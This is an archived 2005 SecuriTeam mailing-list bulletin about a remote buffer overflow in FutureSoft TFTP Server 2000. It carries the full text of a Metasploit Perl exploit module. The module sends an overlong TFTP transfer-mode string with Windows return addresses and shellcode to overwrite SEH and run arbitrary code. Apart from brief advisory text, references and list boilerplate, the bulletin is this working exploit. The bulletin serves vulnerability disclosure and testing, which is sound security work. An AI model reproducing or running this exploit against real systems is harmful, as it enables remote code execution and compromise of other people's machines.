[EXPL] FutureSoft TFTP Server 2000 Remote Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/18/05

  • Next message: SecuriTeam: "[EXPL] GNU Mailutils "imap4d" Format String (Exploit)"
    To: list@securiteam.com
    Date: 18 Jul 2005 11:06:10 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      FutureSoft TFTP Server 2000 Remote Buffer Overflow Exploit
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.futuresoft.com/products/lit-tftp2000.htm> TFTP Server 2000
    provides an Internet-standard TFTP (Trivial File Transfer Protocol) server
    on any Windows NT 4.0 PC or server."

    A buffer overflow within FutureSoft TFTP Server 2000 allows attackers to
    execute arbitrary code, the following exploit code can be used to test
    your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * FutureSoft TFTP Server Evaluation version 1.0.0.1

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1812>
    CAN-2005-1812

    Exploit:
    ##
    # This file is part of the Metasploit Framework and may be redistributed
    # according to the licenses defined in the Authors field below. In the
    # case of an unknown or missing license, this file defaults to the same
    # license as the core Framework (dual GPLv2 and Artistic). The latest
    # version of the Framework can always be obtained from metasploit.com.
    ##

    package Msf::Exploit::futuresoft_tftpd;
    use base "Msf::Exploit";
    use strict;
    use Pex::Text;

    my $advanced = { };

    my $info =
    {

    'Name' => 'FutureSoft TFTP Server 2000 Buffer Overflow',
    'Version' => '$Revision: 1.1 $',
    'Authors' => [ 'y0 [at] w00t-shell.net', ],
    'Arch' => [ 'x86' ],
    'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
    'Priv' => 0,

    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'UserOpts' =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 69],
    'SSL' => [0, 'BOOL', 'Use SSL'],
    },

    'Payload' =>
    {
    'Space' => 350,
    'BadChars' => "\x00",
    'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
    'Keys' => ['+ws2ord'],
    },

    'Description' => Pex::Text::Freeform(qq{
    This module exploits a stack overflow in the FutureSoft TFTP Server
    2000 product. By sending an overly long transfer-mode string, we were able
    to overwrite both the SEH and the saved EIP. A subsequent write-exception
    that will occur allows the transferring of execution to our shellcode
    via the overwritten SEH. This module has been tested against Windows
    2000 Professional and for some reason does not seem to work against
    Windows 2000 Server (could not trigger the overflow at all).
    }),

    'Refs' =>
    [
    ['CVE', '2005-1812'],
    ['BID', '13821'],
    ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
    ],

    'Targets' =>
    [
    ['Windows 2000 Pro English ALL', 0x75022ac4], # ws2help.dll
    ['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
    ['Windows NT SP5/SP6a English', 0x776a1799], # ws2help.dll
    ['Windows 2003 Server English', 0x7ffc0638], # PEB return
    ],
    'Keys' => ['tftpd'],
    };

    sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
    @_);
    return($self);
    }

    sub Exploit
    {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx = $self->GetVar('TARGET');
    my $shellcode = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    if (! $self->InitNops(128)) {
    $self->PrintLine("[*] Failed to initialize the nop module.");
    return;
    }

    my $splat = Pex::Text::AlphaNumText(142);

    my $sploit =
    "\x00\x01". "metasploit.txt". "\x00". $splat.
    "\xeb\x06". pack('V', $target->[1]).
    $shellcode. "\x00";

    $self->PrintLine(sprintf("[*] Trying to exploit target %s w/ return
    0x%.8x",
    $target->[0], $target->[1]));

    my $s = Msf::Socket::Udp->new
    (
    'PeerAddr' => $target_host,
    'PeerPort' => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL' => $self->GetVar('SSL'),
    );
    if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
    }

    $s->Send($sploit);
    $self->Handler($s);
    $s->Close();
    return;
    }

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by Metasploit.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] GNU Mailutils "imap4d" Format String (Exploit)"

    Relevant Pages

    • [NT] FutureSoft TFTP Server 2000 Buffer Overflow and Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two vulnerabilities were identified in FutureSoft TFTP Server, ...
      (Securiteam)
    • [EXPL] FileCOPA Directory Argument Handling Buffer (LIST, Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FileCOPA Directory Argument Handling Buffer ... # license as the core Framework. ...
      (Securiteam)
    • [EXPL] MailEnable IMAPD Logging Buffer Overflow (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... # license as the core Framework. ... sub Check { ...
      (Securiteam)
    • [EXPL] PrivateWire Gateway Buffer Overflow (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PrivateWire Gateway Buffer Overflow ... # license as the core Framework. ... # This file may only be distributed as part of the Metasploit Framework. ...
      (Securiteam)
    • [EXPL] IIS RSA WebAgent Redirect Buffer Overflow Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... # license as the core Framework. ... sub Check { ...
      (Securiteam)